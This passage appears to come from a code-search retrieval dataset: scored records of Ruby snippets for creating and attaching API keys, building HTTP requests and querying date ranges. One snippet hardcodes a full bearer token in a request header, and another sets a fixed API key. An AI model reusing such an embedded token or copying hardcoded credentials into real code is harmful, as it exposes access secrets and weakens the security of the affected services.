['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n form_params[\"name\"] = opts[:'name'] if opts[:'name']\n form_params[\"cidr\"] = opts[:'cidr'] if opts[:'cidr']\n form_params[\"permissions\"] = opts[:'permissions'] if opts[:'permissions']\n form_params[\"enabled\"] = opts[:'enabled'] if opts[:'enabled']\n form_params[\"token\"] = opts[:'token'] if opts[:'token']\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n result = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ApiKey')\n if Configuration.debugging\n Configuration.logger.debug \"API called: ApiKeyApi#api_key_create_key. Result: #{result.inspect}\"\n end\n return result\n end", "title": "" }, { "docid": "99388175dde8e3a920f96f106ff70519", "score": "0.5220623", "text": "def build_api_response(start_date, end_date)\n if start_date > end_date\n raise RangeError.new(\"build_api_response: start_date is larger than end_date.\")\n end\n\n # Note: date_range is a scope defined in timetable.rb\n\n # Old behavior : return nothing for non-existent timetables. Just the\n # following one-liner, in case want to revert back to that behavior\n # timetables.date_range(start_date,end_date).map {|t| t.api_response_hash}\n\n # New behavior: Instead of no-op for non-existent timetables, we want to return\n # a hash with default values for each non-existent timetable\n hash = timetables.date_range(start_date,end_date).map do |t|\n [t.date.strftime(\"%F\"), t.day_info_hash]\n end.to_h\n (start_date..end_date).map do |d|\n hash.fetch(d.strftime(\"%F\"), Timetable.default_day_info_hash(d))\n end\n end", "title": "" }, { "docid": "912db0581425f24ff2f221bc551fd0a5", "score": "0.52154404", "text": "def breathing_rate_intraday(opts = {})\n date = opts[:date] || Date.today\n start_date = opts[:start_date]\n end_date = opts[:end_date]\n\n end_date = Date.today if start_date && !end_date\n\n raise FitbitAPI::InvalidArgumentError, 'A date or start_date and end_date are required.' unless date || start_date\n\n result = if start_date\n get(\"user/#{user_id}/br/date/#{format_date(start_date)}/#{format_date(end_date)}/all.json\")\n else\n get(\"user/#{user_id}/br/date/#{format_date(date)}/all.json\")\n end\n\n strip_root_key(result)\n end", "title": "" }, { "docid": "04a47f14e7c1fba30c4ae0456e37fe68", "score": "0.51828635", "text": "def create_api_key\n self.api_key = \"mittens\"\n end", "title": "" }, { "docid": "3436fb47a95a799483793fe56840ca94", "score": "0.5172092", "text": "def enable_api!\n self.generate_api_key!\n end", "title": "" }, { "docid": "3436fb47a95a799483793fe56840ca94", "score": "0.5172092", "text": "def enable_api!\n self.generate_api_key!\n end", "title": "" }, { "docid": "06389b94ed436eb3eef32a68a7323a8b", "score": "0.51375985", "text": "def add_api_key(query_string)\n query_string += \"&key=#{@options[:api_key]}\" if @options[:api_key]\n query_string\n end", "title": "" }, { "docid": "807645e1aebf50914acb1fa5f5f0ea0b", "score": "0.51229614", "text": "def requestNewApiKey\n # Only the owner can invite others\n if !@api_key.owner\n head :forbidden \n else\n new_api_key = ApiKey.new\n new_api_key.list = @list\n new_api_key.email = params[:email]\n new_api_key.owner = false\n if new_api_key.save\n # Send an email to the invitee with the new API_KEY import bundle\n InvitationMailer.invitation_email(params[:email],new_api_key.api_key).deliver\n render json: { api_key: new_api_key.api_key}\n else \n head :internal_server_error\n end \n end\n end", "title": "" }, { "docid": "5b3da53ec4bfdea02a5015030de1f152", "score": "0.5119766", "text": "def api_key_params\n params.require(:api_key).permit(:application, :access_token, :access_only_with_token, :note)\n end", "title": "" }, { "docid": "3cc4667a1fce071b67457da567b67073", "score": "0.5119359", "text": "def apikey_add(username, password)\n @chimpApi.call(\"apikeyAdd\", username, password, @api_key)\n end", "title": "" }, { "docid": "a61ce9e09973cb813861a151c40dcd20", "score": "0.5113185", "text": "def apply_params_auth(params)\n {'client_id' => id, 'client_secret' => secret}.merge(params)\n end", "title": "" }, { "docid": "13734052fe33bd61f1058d8605c35a9b", "score": "0.50938857", "text": "def settled_claims_date_filter\n params.permit!\n date1=params[\"date1\"]\n date2=params[\"date2\"] \n \n @settled_claims=JSON.parse RestClient.get $api_service+\"/send_mails/settled_claims_datewise_filter?from_date=#{date1}&to_date=#{date2}\"\n end", "title": "" }, { "docid": "f9882bb993b8497cf1a032d5b508d3c3", "score": "0.50843704", "text": "def url\n \"#{endpoint}?date.gte=#{date_range.begin.strftime(\"%Y%m%d\")}&date.lte=#{date_range.end.strftime(\"%Y%m%d\")}&ticker=#{ticker}&api_key=#{Quandl.api_key}\"\n end", "title": "" }, { "docid": "1cf1028820d1abf75371a676e57def59", "score": "0.5083606", "text": "def create_client_api_credentials\n\n r = Aws::Kms.new('api_key', 'user').generate_data_key\n return unless r.success?\n\n api_salt = r.data\n\n @api_credential = ClientApiCredential.new(\n client_id: @client_id,\n api_key: ClientApiCredential.generate_random_app_id,\n api_secret: ClientApiCredential.generate_encrypted_secret_key(api_salt[:plaintext]),\n api_salt: api_salt[:ciphertext_blob],\n expiry_timestamp: (Time.now+10.year).to_i\n )\n\n @api_credential.save!\n\n success\n\n end", "title": "" }, { "docid": "c1ddbdcf2c9c32c80590c5cf8d862adf", "score": "0.50828075", "text": "def events_call(api_key)\n url_call = dance_uri + current_date + api_key[\"api_key\"]\n response = HTTParty.get(url_call)\nend", "title": "" }, { "docid": "7bb5990626a21b3b74e7084a5dbf700d", "score": "0.5076847", "text": "def with_key(key)\n old_key = Amiando.api_key\n Amiando.api_key = key\n yield\n ensure\n Amiando.api_key = old_key\n end", "title": "" }, { "docid": "08d7f2ee7d4d53af7b4e0944cf0f252c", "score": "0.5063442", "text": "def api_options\n commit = params[:commit]\n user_id = params[:user]\n user = User.find_by_id(user_id)\n\n if commit == 'create read key' && user\n ApiKey.generate(user, nil, ApiKey::ACCESS_TYPE_READ)\n elsif commit == 'create secret key'\n ApiKey.generate(user, nil, ApiKey::ACCESS_TYPE_WRITE)\n else\n read_key = ApiKey.find_read_key(user)\n if (!read_key)\n read_key = ApiKey.new(:access_type => ApiKey::ACCESS_TYPE_READ)\n end\n read_key.hostname = params[:hostname]\n read_key.key = params[:public_key]\n\n write_key = ApiKey.find_write_key(user)\n if (!write_key)\n write_key = ApiKey.new(:access_type => ApiKey::ACCESS_TYPE_WRITE)\n end\n write_key.hostname = params[:hostname]\n write_key.key = params[:secret_key]\n\n read_key.save\n write_key.save\n flash[:notice] = \"API settings saved\"\n end\n redirect_to :action => :options, :id => user_id\n end", "title": "" }, { "docid": "fee793c40f886d947ad33030b6cf1cb5", "score": "0.50627846", "text": "def create_api_key_with_http_info(api_key_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ApiKeysApi.create_api_key ...'\n end\n # verify the required parameter 'api_key_request' is set\n if @api_client.config.client_side_validation && api_key_request.nil?\n fail ArgumentError, \"Missing the required parameter 'api_key_request' when calling ApiKeysApi.create_api_key\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api_keys'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(api_key_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'ApiKeyCreateResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"ApiKeysApi.create_api_key\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ApiKeysApi#create_api_key\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "79989ba566a2eac56d27cfba6d097eb0", "score": "0.5058156", "text": "def call(env)\n # add api_key to URL\n env.url.query = add_query_param(\n env.url.query,\n 'apikey',\n @api_key\n )\n\n # add nonce to URL\n env.url.query = add_query_param(\n env.url.query,\n 'nonce',\n Time.now.to_i\n )\n\n @app.call env\n end", "title": "" }, { "docid": "a8aa7bf8f8759249132067468a0e0b85", "score": "0.50527644", "text": "def initialize(params)\n @date = params.fetch(:date) # should be a Date object\n @access_key_id = params.fetch(:access_key_id, ENV.fetch(\"AWS_ACCESS_KEY_ID\"))\n @secret_access_key = params.fetch(:secret_access_key, ENV.fetch(\"AWS_SECRET_ACCESS_KEY\"))\n end", "title": "" }, { "docid": "609ae5f5c95c4efdee67416396cf27d9", "score": "0.5037806", "text": "def attach_api_key(uri)\n uri = uri.dup\n key = \"api_key=#{self.key}\"\n uri.query = uri.query.to_s.strip != \"\" ? uri.query+\"&\"+key : key\n uri\n end", "title": "" }, { "docid": "307a5c96d0cc8168b7f5063de45f1e78", "score": "0.5037572", "text": "def base_parameters\n uri = URI('https://api.offset-api.cloud/carbon_activities')\n headers = { 'Content-Type': 'application/json', 'Authorization': 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJjbGllbnRfa2V5IjoiYzY2ZTc5NmEtZmY1OC00ZmZhLTk5MGYtNDYyYzg4OGZhZTQxIiwiZXhwIjoxNjQ2OTIwNjkzfQ.WAluE4fAyLotjJfoi6j5FlTUCnWY20eobJb3hrZx4_Q' }\n request = Net::HTTP::Post.new(uri, headers)\n [uri, request]\nend", "title": "" }, { "docid": "0646ea7d28f8fe49763599eb09c041bc", "score": "0.50348294", "text": "def normalize_params(params)\n params.merge!(\n :api_key => @api_key,\n :expire => Time.now.to_i + 600 # Grant this request 10 minutes\n ).merge!(:sig => Utils.generate_signature(params, @api_secret))\n end", "title": "" }, { "docid": "c3db3221ae4343ce2c1416a5ccd69925", "score": "0.50328463", "text": "def initialize(optionals = {}, access_key = ENV['IPSTACK_ACCESS_KEY'])\n\n raise ArgumentError, 'Requires a hash of optional values found on https://ipstack.com/documentation' unless optionals.is_a?(Hash)\n raise ArgumentError, '\\'access_key\\' (api key) cannot be nil. Obtain your key from https://ipstack.com/quickstart and set it as ENV[\\'IPSTACK_ACCESS_KEY\\']' if access_key.nil? || access_key == ''\n\n # non-ipstack api custom optionals\n @return_raw = optionals[:return_raw]\n optionals.delete(:return_raw) # remove it from optionals since we each optionals for our url params\n\n @api_url = 'http://api.ipstack.com/'\n @access_key = access_key\n @params_uri = \"?access_key=#{access_key}\"\n # Set params_uri with each non-nil optionals key/value\n optionals.each{ |param_name,param_value| @params_uri << \"&#{param_name}=#{param_value}\" unless param_value.nil? }\n @optionals = optionals\n end", "title": "" }, { "docid": "b56db283a7d563d76dfca04361ba9c55", "score": "0.50319517", "text": "def payor_create_api_key_request_with_http_info(payor_id, application_id, payor_create_api_key_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PayorsApi.payor_create_api_key_request ...'\n end\n # verify the required parameter 'payor_id' is set\n if @api_client.config.client_side_validation && payor_id.nil?\n fail ArgumentError, \"Missing the required parameter 'payor_id' when calling PayorsApi.payor_create_api_key_request\"\n end\n # verify the required parameter 'application_id' is set\n if @api_client.config.client_side_validation && application_id.nil?\n fail ArgumentError, \"Missing the required parameter 'application_id' when calling PayorsApi.payor_create_api_key_request\"\n end\n # verify the required parameter 'payor_create_api_key_request' is set\n if @api_client.config.client_side_validation && payor_create_api_key_request.nil?\n fail ArgumentError, \"Missing the required parameter 'payor_create_api_key_request' when calling PayorsApi.payor_create_api_key_request\"\n end\n # resource path\n local_var_path = '/v1/payors/{payorId}/applications/{applicationId}/keys'.sub('{' + 'payorId' + '}', CGI.escape(payor_id.to_s)).sub('{' + 'applicationId' + '}', CGI.escape(application_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(payor_create_api_key_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'PayorCreateApiKeyResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :operation => :\"PayorsApi.payor_create_api_key_request\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PayorsApi#payor_create_api_key_request\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "8923eeb263f88b2204b1e564632cbbbd", "score": "0.50284576", "text": "def make_batch_request\n\t\trequest = super\n\n\t\trequest[ 'DD-API-KEY' ] = self.api_key\n\n\t\treturn request\n\tend", "title": "" }, { "docid": "a12693785ff791588cac7f9f763dba8e", "score": "0.50283027", "text": "def create_new_keys\n ::ApiCredentials::Create.new(client_id: @client_id).create_and_insert_new_keys\n end", "title": "" }, { "docid": "6dd6d38e5d3c808307c9b56150922497", "score": "0.5024228", "text": "def initialize(app_key, app_secret, opts = {})\n @app_key = app_key\n @app_secret = app_secret\n @timezone = opts[:timezone] || 'Singapore'\n @raise_exceptions = opts[:raise_exceptions] || true\n @tld = opts[:tld] || \".com.my\"\n # Definitely not thread safe, as the base uri is a class variable.\n # self.class.base_uri \"https://api.sellercenter.lazada#{opts[:tld]}\" if opts[:tld].present?\n self.class.debug_output opts[:debug] if opts[:debug].present?\n end", "title": "" }, { "docid": "9261946ad10591b45398b185d141e52a", "score": "0.50230676", "text": "def wrap(http_method, url, params)\r\n params = params.merge(:appid => @appid)\r\n params[:sig] = Gateway.signature( \"#{@appkey}&\", Gateway.make_source(http_method.to_s.upcase, url, params) )\r\n params\r\n end", "title": "" }, { "docid": "4b9b00c4a23e5f98011dd8f9703e64de", "score": "0.50140846", "text": "def auth_params\n {\n 'apiLoginID' => TaxCloud.configuration.api_login_id,\n 'apiKey' => TaxCloud.configuration.api_key\n }\n end", "title": "" }, { "docid": "a867ef896003cb99b779ba4ed671713b", "score": "0.50024444", "text": "def valid_api_key?; end", "title": "" }, { "docid": "badd817191cb6749fcc4d8aaa9475550", "score": "0.5001658", "text": "def create_api_key\n ApiKey.create(user_id: self.id)\n end", "title": "" }, { "docid": "278acdd255dec5bcbaccfc872f831df8", "score": "0.50012845", "text": "def api_key=(val); configuration.api_key = val; end", "title": "" }, { "docid": "69ecec92f827cdab7659818d311aa967", "score": "0.4997679", "text": "def initialize(api_key, &block)\n @api_key = api_key\n @faraday_configuration = block\n @http = Faraday.new(\"https://api.orchestrate.io\") do |faraday|\n block = lambda{|f| f.adapter :net_http_persistent } unless block\n block.call faraday\n\n # faraday seems to want you do specify these twice.\n faraday.request :basic_auth, api_key, ''\n faraday.basic_auth api_key, ''\n end\n end", "title": "" }, { "docid": "d0c87a25f4ffb4a104cc5ce061bfb352", "score": "0.49788022", "text": "def config api_key, secret\n self.api_key = api_key\n self.secret = secret\n end", "title": "" }, { "docid": "ca0760c116ba9d971317cb4e59b0c6c1", "score": "0.4970255", "text": "def assemble_params(include_headers=false, include_date_in_search=false, only_show_my_record=true)\n \n headers = {accept: \"application/json\"}\n url = \"https://exampleapi.com\"\n args = [url]\n args << headers if include_headers\n params = []\n params << \"date=#{Time.now}\" if include_date_in_search\n params << \"myrecords=true\" if only_show_my_record\n args << params if params.length > 0\n\nend", "title": "" }, { "docid": "85abeac2fa236519f17a87c74df82f90", "score": "0.49678466", "text": "def initialize(api_key, secret, method=nil)\n @api_key = api_key\n @secret = secret\n @method = method\n end", "title": "" }, { "docid": "4f206cb6b14526f62622d1ddd9d84638", "score": "0.4965503", "text": "def getByRangeDateTime(optionsAnswer)\n url = $endPoint + $tenant + $restAppend +\"Operations/GetByRangeDateTime/MERCHANT/#{optionsAnswer[:Merchant]}/STARTDATE/#{optionsAnswer[:STARTDATE]}/ENDDATE/#{optionsAnswer[:ENDDATE]}/PAGENUMBER/#{optionsAnswer[:PAGENUMBER]}\" \n response = RestClient.get url\n return response\n end", "title": "" }, { "docid": "5bf681b1d9d28b3ee076040e3af429b7", "score": "0.4965036", "text": "def sleep_on_date_range(base_date, end_date)\n get(\"/user/#{@user_id}/sleep/date/#{format_date(base_date)}/#{format_date(end_date)}.json\")\n end", "title": "" }, { "docid": "f59d61056abe21c89975fe9f970c1c37", "score": "0.49635804", "text": "def api_key_param\n \"apiKey=#{@api_key}\"\n end", "title": "" }, { "docid": "fa6d23f2914b47b30ece93fd2775d416", "score": "0.49632156", "text": "def set_highrise_parameters(request)\n request[:parameters][\"highrise_api_token\"] = ENV[\"HIGHRISE_API_TOKEN\"]\n request[:parameters][\"highrise_site_url\"] = ENV[\"HIGHRISE_SITE_URL\"]\nend", "title": "" }, { "docid": "d9db5db38d1acb153f0586ed8cb2b4eb", "score": "0.4959968", "text": "def get_api_calls_with_dates(username, options = {})\n get_api_calls(username, options)\n end", "title": "" }, { "docid": "31b6f85cb0bebcc3bb62243ceee56de1", "score": "0.4957444", "text": "def add_api_endpoint\n @auth_params.merge!(openstack_auth_url: config[:api_endpoint]) unless config[:api_endpoint].nil?\n end", "title": "" }, { "docid": "b5a1d652f5f36d3120d9f8a31ec5ec61", "score": "0.4953782", "text": "def pending_claims_date_filter\n params.permit!\n date1=params[\"date1\"].to_date if params[\"date1\"].present?\n date2=params[\"date2\"].to_date if params[\"date2\"].present? \n supplier_id = params[\"supplier_id\"]\n @pending_claims = JSON.parse RestClient.get($api_service+\"/send_mails/pending_claims_datewise_filter?supplier_id=#{supplier_id}&from_date=#{date1}&to_date=#{date2}\",timeout: 1000)\n# data = RestClient::Request.execute(method: 'GET', url: $api_service+\"/send_mails/pending_claims_datewise_filter?supplier_id=#{supplier_id}&from_date=#{date1}&to_date=#{date2}\", timeout: 90000000)\n# @pending_claims = JSON.parse data\n end", "title": "" }, { "docid": "a1ebe53d145aee29e1814566936baec3", "score": "0.49535537", "text": "def create_client_api_credentials\n return unless @client_api_needed\n\n result = generate_api_key_salt\n return unless result.success?\n\n api_salt = result.data\n\n api_credential = ClientApiCredential.new(\n client_id: @client_id,\n api_key: ClientApiCredential.generate_random_app_id,\n api_secret: ClientApiCredential.generate_encrypted_secret_key(api_salt[:plaintext]),\n api_salt: api_salt[:ciphertext_blob],\n expiry_timestamp: (Time.now+10.year).to_i\n )\n\n api_credential.save!\n\n end", "title": "" }, { "docid": "f71e1bca4cf000633f5a0747303439b3", "score": "0.4951734", "text": "def api_key_params\n params.require(:api_key).permit(:user_id, :campground_id, :token, :name, :can_view_bookings, :can_edit_bookings)\n end", "title": "" }, { "docid": "3ac9cf1e6ae6ea8e4adb91265441f96f", "score": "0.4944933", "text": "def create_api_key\n self.api_key = SecureRandom.uuid\n end", "title": "" }, { "docid": "3391033b192799cd1ac15690d6487977", "score": "0.49380228", "text": "def authorization_params\n timestamp = Time.now.to_i.to_s\n {:\"api-key\" => self.api_key, :timestamp => timestamp, :\"dev-hash\" => Digest::MD5.hexdigest(timestamp + self.api_secret)}\n end", "title": "" }, { "docid": "3d0f445c6d0e5b8923e1a7e28110019e", "score": "0.4936169", "text": "def set_api_keys\n @api_key = ApiKey.find(params[:id])\n end", "title": "" }, { "docid": "22297e7316e7874f0ff807638317b874", "score": "0.49358478", "text": "def client_params\n {\n :site => \"https://basecamp.com/#{account_id}/api/v1\",\n :token_url => \"/authorization/token?type=refresh&refresh_token=#{refresh_token}\",\n :authorize_url => \"/authorization/new\"\n }\n end", "title": "" }, { "docid": "83a8e905f7525a455d09815912404abb", "score": "0.49342987", "text": "def rakuten_api\n RakutenWebService.configuration do |c|\n c.application_id = ENV[\"APPID\"]\n c.affiliate_id = ENV[\"AFID\"]\n end\n end", "title": "" }, { "docid": "97f2c76328186b791ebd02dd84ea535c", "score": "0.4931072", "text": "def create_api_key(key_id, request)\n start.uri('/api/api-key')\n .url_segment(key_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "fd64a2db8f3d26cafca7b2e4d7598497", "score": "0.49298292", "text": "def attach_api_key(uri)\n uri = uri.dup\n key = \"api_key=#{self.key}\"\n uri.query = uri.query.to_s.strip != \"\" ? uri.query+\"&\"+key : key\n uri\n end", "title": "" }, { "docid": "5274a2f6b785508487828ab89e86bf49", "score": "0.49211863", "text": "def set_highrise_parameters(request)\n request[:parameters][\"highrise.api_token\"] = ENV[\"HIGHRISE_API_TOKEN\"]\n request[:parameters][\"highrise.site_url\"] = ENV[\"HIGHRISE_SITE_URL\"]\nend", "title": "" }, { "docid": "28cf4d8228035e704f38997d6143ed2e", "score": "0.49182746", "text": "def dates(start_date, end_date)\n clone_and_set {|params|\n params['start-date'] = start_date.strftime(\"%Y-%m-%d\")\n params['end-date'] = end_date.strftime(\"%Y-%m-%d\")\n }\n end", "title": "" }, { "docid": "28cf4d8228035e704f38997d6143ed2e", "score": "0.49182647", "text": "def dates(start_date, end_date)\n clone_and_set {|params|\n params['start-date'] = start_date.strftime(\"%Y-%m-%d\")\n params['end-date'] = end_date.strftime(\"%Y-%m-%d\")\n }\n end", "title": "" }, { "docid": "a86a2117c238eb0a38629e9e0aafacf4", "score": "0.49177566", "text": "def set_api_key\n @api_key = ApiKey.find_by(key: params[:key])\n end", "title": "" }, { "docid": "2141b4f990988b5c34642145a146589b", "score": "0.491082", "text": "def create_and_insert_new_keys\n\n r = generate_api_key_salt\n return r unless r.success?\n api_salt = r.data\n\n r = ApiCredential.generate_encrypted_secret_key(api_salt[:plaintext])\n return r unless r.success?\n api_secret = r.data\n\n api_credential = ApiCredential.new(\n client_id: @client_id,\n api_key: ApiCredential.generate_api_key,\n api_secret: api_secret,\n api_salt: api_salt[:ciphertext_blob]\n )\n\n api_credential.save!\n\n success\n end", "title": "" }, { "docid": "e7abfbd12de62741baf8853d8bd48327", "score": "0.4907237", "text": "def api_key_params\n {\n 'kid': headers['X-Auth-Apikey'],\n 'nonce': headers['X-Auth-Nonce'],\n 'signature': headers['X-Auth-Signature']\n }\n end", "title": "" }, { "docid": "02705c11e4b0fc878ccd7b416979b895", "score": "0.49047187", "text": "def api_period\n @date1 = params[:date1].to_date\n @date2 = params[:date2].to_date\n \n if @date1 <= @date2\n @start_date = @date1\n @end_date = @date2\n else\n @start_date = @date2\n @end_date = @date1\n end\n create_hot_trends_if_not_in_db_and_final_version_by_period(@start_date, @end_date)\n \n order = \"num\"\n order += \" \"+params[:order] if params[:order]\n \n max_limit = 20\n offset = 0\n offset = 20 - params[:limit].to_i if params[:limit] && params[:order] && params[:order] == \"desc\"\n \n @hottrends = []\n if @date1 <= @date2\n date = @start_date\n while date <= @end_date\n @hottrends += Hottrend.where(:date => date).offset(offset).order(order).limit(params[:limit] ||= max_limit)\n date = date.+(1)\n end\n else\n date = @end_date\n while date >= @start_date\n @hottrends += Hottrend.where(:date => date).offset(offset).order(\"date DESC, \"+order).limit(params[:limit] ||= max_limit)\n date = date.-(1)\n end\n end\n \n respond_to do |format|\n format.html # api_period.html.erb\n format.xml { render :xml => @hottrends }\n format.json { render :json => @hottrends }\n format.text { render :text => render_txt(@hottrends, @start_date, @end_date ) }\n end\n end", "title": "" }, { "docid": "188c46d75891bf16d811d54da934e505", "score": "0.48929104", "text": "def before_create\n self.api_key = Api.generate_user_key\n self.api_secret = Api.generate_user_key\n super\n end", "title": "" }, { "docid": "188c46d75891bf16d811d54da934e505", "score": "0.48929104", "text": "def before_create\n self.api_key = Api.generate_user_key\n self.api_secret = Api.generate_user_key\n super\n end", "title": "" }, { "docid": "3769b7021c9ad261703927c54516dae7", "score": "0.48862672", "text": "def oauth; end", "title": "" }, { "docid": "f0eab0e22cd352565f96d1f6e90be7a3", "score": "0.48845112", "text": "def add_date_range_limit_params(solr_params)\n ranged_facet_configs = \n blacklight_config.facet_fields.select { |key, config| config.date_range } \n ranged_facet_configs.each_pair do |solr_field, config|\n \n hash = blacklight_params[\"date_range\"] && blacklight_params[\"date_range\"][solr_field] ?\n blacklight_params[\"date_range\"][solr_field] :\n {}\n \n if !hash[\"missing\"].blank?\n # missing specified in request params\n solr_params[:fq] ||= []\n solr_params[:fq] << \"-#{solr_field}:[* TO *]\"\n \n elsif !(hash[\"begin\"].blank? && hash[\"end\"].blank?)\n # specified in request params, begin and/or end, might just have one\n start = hash[\"begin\"].blank? ? \"*\" : DateTime.parse(hash[\"begin\"]).strftime(\"%FT%TZ\")\n finish = hash[\"end\"].blank? ? \"*\" : DateTime.parse(hash[\"end\"]).strftime(\"%FT%TZ\")\n \n solr_params[:fq] ||= []\n solr_params[:fq] << \"#{solr_field}:[#{start} TO #{finish}]\"\n end\n end\n \n return solr_params\n end", "title": "" }, { "docid": "4d473bcefaa59beea66aa0e0985bd8ef", "score": "0.4880538", "text": "def api_key_params\n params.require(:api_key).permit(:key, :email)\n end", "title": "" }, { "docid": "d8c5b25a0f71c6b51c648652a8ff7f13", "score": "0.48686436", "text": "def authenticate_developer_key\n #authenticate_or_request_with_http_token do|token, options|\n unless Apikey.exists?(application_key: params[:key])\n render json: \n {\n status: 401, \n message: 'Felaktig API-nyckel. Skapa en nyckel här: https://birdspotterdev.herokuapp.com'\n }, \n status: 401\n end\n end", "title": "" }, { "docid": "0a3fcc8355141a4ce22111fd5435c199", "score": "0.4867779", "text": "def initialize(api_key: 'enter-api-key')\n @api_key = api_key\n end", "title": "" }, { "docid": "4070316a3330c47fa574ad34cffa8b31", "score": "0.4866199", "text": "def api_key_params\n params.require(:api_key).permit(:key, :user_email)\n end", "title": "" }, { "docid": "2204933def29e2e7cc786c2a53525fa9", "score": "0.48555142", "text": "def date_filter(date)\n url_call = dance_uri + date + \"%3A\" + date + @@api_key[\"api_key\"]\n response = HTTParty.get(url_call)\nend", "title": "" }, { "docid": "e439b3724e5f62560f80d3aaca7d53c9", "score": "0.48505938", "text": "def create_secret_key_with_http_info(app_id, secret_key_create_body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AppApi.create_secret_key ...\"\n end\n # verify the required parameter 'app_id' is set\n if @api_client.config.client_side_validation && app_id.nil?\n fail ArgumentError, \"Missing the required parameter 'app_id' when calling AppApi.create_secret_key\"\n end\n # verify the required parameter 'secret_key_create_body' is set\n if @api_client.config.client_side_validation && secret_key_create_body.nil?\n fail ArgumentError, \"Missing the required parameter 'secret_key_create_body' when calling AppApi.create_secret_key\"\n end\n # resource path\n local_var_path = \"/apps/{appId}/keys\".sub('{' + 'appId' + '}', app_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(secret_key_create_body)\n auth_names = ['jwt']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SecretKeyResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AppApi#create_secret_key\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "0819bcf4a4aa18a5badb22bb80e306f1", "score": "0.48490754", "text": "def initialize(api_key, api_secret)\n raise ArgumentError, \"api_key, api_secret cannot be nil.\" unless [api_key, api_secret].all?\n @api_key, @api_secret = api_key, api_secret\n end", "title": "" }, { "docid": "3a6de1f3cddfd05b58615c9688c7c11f", "score": "0.4848071", "text": "def setApiKey(apiKey)\n\t\t@apiKey = apiKey\n\tend", "title": "" }, { "docid": "f5dc9dcd73ffb14648fb850a979a7847", "score": "0.4847967", "text": "def set_api_key\n @api_key = ApiKey.where(id: params[:id]).first\n api_key_hash()\n end", "title": "" }, { "docid": "02bbe8fcfc6ebd8d8d8d6d995ea18e2a", "score": "0.48454937", "text": "def create_adwords_api()\n @api = AdwordsApi::Api.new({\n :authentication => {\n :method => 'OAuth2',\n :oauth2_client_id => ENV.fetch(\"OAUTH2_CLIENT_ID\") ,\n :oauth2_client_secret => ENV.fetch(\"OAUTH2_CLIENT_SECRET\"),\n :developer_token => ENV.fetch(\"DEVELOPER_TOKEN\"),\n :user_agent => \"\"\n },\n :service => {\n :environment => 'PRODUCTION'\n }\n })\n\n token = session[:token]\n # If we have an OAuth2 token in session we use the credentials from it.\n if token\n credentials = 